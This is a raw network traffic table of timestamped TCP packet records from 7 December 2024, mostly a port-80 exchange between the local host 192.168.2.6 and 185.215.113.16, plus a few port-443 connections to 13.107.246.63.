Dec 7, 2024 22:40:53.426460981 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.426544905 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.426589012 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.430965900 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.431027889 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.431061983 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.431107044 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.435516119 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.435573101 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.435659885 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.435827017 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.439922094 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.439982891 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.440022945 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.440071106 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.444427013 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.444478035 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.444514036 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.444565058 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.448971987 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.449023962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.449079990 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.449132919 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.453536987 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.453576088 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.453593016 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.453613043 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.458055973 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.458121061 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.458153963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.458198071 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.462515116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.462603092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.462716103 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.462769985 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.467024088 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.467101097 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.467133999 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.467178106 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.471596956 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.471672058 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.471689939 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.471729040 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.476138115 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.476156950 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.476201057 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.532190084 CET	443	49828	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.532711983 CET	49828	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.532732964 CET	443	49828	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.533176899 CET	49828	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.533180952 CET	443	49828	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.536237955 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.536480904 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.536489964 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.536808968 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.536813021 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.538743973 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.538953066 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.538959980 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.539264917 CET	49830	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.539268970 CET	443	49830	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.540479898 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.540699005 CET	49831	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.540705919 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.540999889 CET	49831	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:53.541004896 CET	443	49831	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:53.572098017 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.572186947 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.572195053 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.572232962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.573901892 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.573951960 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.574068069 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.574115992 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.577573061 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.577632904 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.577749014 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.577873945 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.581156969 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.581218958 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.581250906 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.581341028 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.584635019 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.584702015 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.584727049 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.584769011 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.588160992 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.588216066 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.588238955 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.588284016 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.591505051 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.591586113 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.591609001 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.591658115 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.594805956 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.594873905 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.594916105 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.594969034 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.598169088 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.598243952 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.598251104 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.598284960 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.601188898 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.601241112 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.601363897 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.601413012 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.604376078 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.604430914 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.604473114 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.604518890 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.607471943 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.607532024 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.607546091 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.607601881 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.610541105 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.610604048 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.610641956 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.610687971 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.613605022 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.613655090 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.613706112 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.613751888 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.616698980 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.616755962 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.616785049 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.616832018 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.619801044 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.619854927 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.619890928 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.619935989 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.622956991 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.623012066 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.623085976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.623142004 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.626379967 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.626437902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.626544952 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.626596928 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.629111052 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.629167080 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.629204035 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.629254103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.632133961 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.632180929 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.632240057 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.632287979 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.635200977 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.635251045 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.635354996 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.635406017 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.638286114 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.638348103 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.638396978 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.638447046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.641447067 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.641506910 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.641674042 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.641724110 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.644448996 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.644505024 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.644558907 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.644604921 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.647568941 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.647618055 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.647653103 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.647694111 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.650594950 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.650676966 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.650708914 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.650789022 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.653650045 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.653702021 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.653773069 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.653913021 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.656771898 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.656841993 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.656979084 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.657063961 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.659857035 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.659909964 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.659931898 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.659971952 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.662925959 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.662997961 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.663038969 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.663086891 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.666079044 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.666130066 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.666136980 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.666176081 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.669133902 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.669197083 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.669239998 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.669287920 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.672185898 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.672239065 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.672328949 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.672374010 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.675276041 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.675333977 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.675426006 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.675484896 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.678410053 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.678483009 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.678499937 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.678534985 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.681423903 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.681473970 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.681569099 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.681618929 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.684499979 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.684572935 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.684602976 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.684649944 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.687664032 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.687710047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.687711954 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.687747002 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.690697908 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.690752029 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.690793991 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.690840006 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.764164925 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.764208078 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.764283895 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.764297009 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.765347958 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.765408993 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.765494108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.765542984 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.767855883 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.767919064 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.768737078 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.768798113 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.768865108 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.768903017 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.771250963 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.771307945 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.771323919 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.771364927 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.773679972 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.773736954 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.773761988 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.773802996 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.776088953 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.776143074 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.776160955 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.776201963 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.778703928 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.778767109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.778882980 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.780709028 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.780772924 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.780788898 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.780826092 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.783083916 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.783149004 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.783162117 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.783195972 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.785331964 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.785387993 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.785428047 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.785469055 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.787502050 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.787553072 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.787616014 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.787661076 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.789657116 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.789709091 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.789736032 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.789778948 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.791827917 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.791878939 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.791945934 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.791994095 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.793991089 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.794048071 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.794094086 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.794135094 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.796106100 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.796164036 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.796238899 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.796282053 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.798182964 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.798237085 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.798268080 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.798310041 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.800299883 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.800352097 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.800467968 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.800510883 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.802752018 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.802803040 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.802839994 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.802886009 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.804348946 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.804403067 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.804469109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.804513931 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.806389093 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.806437969 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.806554079 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.806598902 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.808351040 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.808398008 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.808511972 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.808561087 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.810297012 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.810344934 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.810417891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.810462952 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.812344074 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.812392950 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.812419891 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.812458038 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.814281940 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.814330101 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.814449072 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.814493895 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.816162109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.816231012 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.816267014 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.816315889 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.818103075 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.818185091 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.818216085 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.818255901 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.819996119 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.820048094 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.820100069 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.820146084 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.822057962 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.822108984 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.822143078 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.822190046 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.823868990 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.823926926 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.824062109 CET	80	49827	185.215.113.16	192.168.2.6
Dec 7, 2024 22:40:53.824115038 CET	49827	80	192.168.2.6	185.215.113.16
Dec 7, 2024 22:40:53.825871944 CET	80	49827	185.215.113.16	192.168.2.6
